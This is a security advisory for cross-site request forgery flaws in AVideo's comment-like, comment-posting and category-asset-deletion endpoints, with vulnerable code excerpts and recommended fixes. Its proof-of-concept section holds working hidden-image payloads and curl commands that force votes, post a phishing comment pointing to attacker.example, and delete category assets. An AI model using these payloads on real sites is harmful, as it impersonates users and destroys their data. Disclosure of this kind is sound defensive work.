PT-2026-35128 · Packagist · Wwbn Avideo

Published

2026-04-14

·

Updated

2026-04-14

CVSS v3.1

5.4

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Summary

Multiple AVideo JSON endpoints under objects/ accept state-changing requests via $ REQUEST/$ GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:
  1. Cast/flip the victim's like/dislike on any comment (objects/comments like.json.php).
  2. Post a comment authored by the victim on any video, with attacker-chosen text (objects/commentAddNew.json.php).
  3. Delete assets from any category (objects/categoryDeleteAssets.json.php) when the victim has category management rights.
Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.

Details

AVideo exposes a helper, forbidIfIsUntrustedRequest() (objects/functionsSecurity.php:138), that rejects cross-origin requests when the Referer/Origin does not match webSiteRootURL. It is only invoked in one file in the tree — objects/userUpdate.json.php:18 — and is not applied to the endpoints below. There is also an isGlobalTokenValid() helper (objects/functions.php:2313) intended for CSRF-style token checks; none of the affected endpoints call it. allowOrigin() only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.

1. objects/comments like.json.php — CSRF → forced like/dislike

php
// objects/comments like.json.php
15: if (empty($ POST['comments id']) && !empty($ GET['comments id'])) {
16:   $ POST['comments id'] = $ GET['comments id'];
17: }
18:
19: $like = new CommentsLike($ GET['like'], $ POST['comments id']);
20: echo json encode(CommentsLike::getLikes($ POST['comments id']));
The endpoint deliberately promotes $ GET['comments id'] to $ POST['comments id'] so the call works for either verb. CommentsLike:: construct (objects/comments like.php:18) reads User::getId(), calls load() to fetch any prior vote, then setLike() + save() — issuing an INSERT/UPDATE on comments likes keyed to the session user (objects/comments like.php:70-89). There is no token check and no origin check.

2. objects/commentAddNew.json.php — CSRF → forced comment posting

php
// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:   $obj->msg =  ("Permission denied");
36:   die(json encode($obj));
37: }
...
117: $objC = new Comment($ REQUEST['comment'], $ REQUEST['video']);
118: $objC->setComments id pai($ REQUEST['comments id']);
...
124: $obj->comments id = $objC->save();
All inputs come from $ REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users id via $objC->save().

3. objects/categoryDeleteAssets.json.php — CSRF → forced deletion of category assets

php
// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$ REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:   $obj->msg =  ("Permission denied");
18:   die(json encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:   $obj->error = false;
23: ...
State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags — every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $ REQUEST/$ GET, (b) performs authorization against the victim's session, and (c) writes to the database — without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.

Variant A — comments like.json.php (force a downvote on comment id 10)

Attacker page:
html
<img src="https://victim.example.com/objects/comments like.json.php?like=-1&comments id=10" style="display:none">
Manual verification:
bash
curl -b 'PHPSESSID=<victim-session>' 
 'https://victim.example.com/objects/comments like.json.php?like=-1&comments id=10'
# → {"comments id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments likes` with users id = victim.

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:
html
<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">
Manual verification:
bash
curl -b 'PHPSESSID=<victim-session>' 
 'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments id":<id>,"msg":"Your comment has been saved!",...}

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):
html
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">
Manual verification:
bash
curl -b 'PHPSESSID=<category-admin-session>' 
 'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.

Impact

  • Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts like=-1|0|1, arbitrary vote states can be forced.
  • Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
  • Data loss: Any user with canCreateCategory() who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of <img> tags can cover the full category space in one page load.
No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

Recommended Fix

  1. Call the existing forbidIfIsUntrustedRequest() helper at the top of every mutating objects/*.json.php handler (the same pattern already used in objects/userUpdate.json.php):
php
// objects/comments like.json.php (add near line 9)
require once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/commentAddNew.json.php (add after configuration.php include)
require once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
  1. Require $ SERVER['REQUEST METHOD'] === 'POST' (or DELETE) for state-changing operations and stop promoting $ GET['comments id'] → $ POST['comments id'] in comments like.json.php:15-17.
  2. Validate a per-session CSRF token on all mutating endpoints using the existing isGlobalTokenValid() / getToken() helpers (objects/functions.php:2313), rejecting requests whose globalToken is missing or invalid.
  3. As defense in depth, set the session cookie with SameSite=Lax (or Strict) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.
Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other objects/*.json.php handlers.

Fix

CSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-352

Related Identifiers

GHSA-X2PW-9C38-CP2J

Affected Products

Wwbn Avideo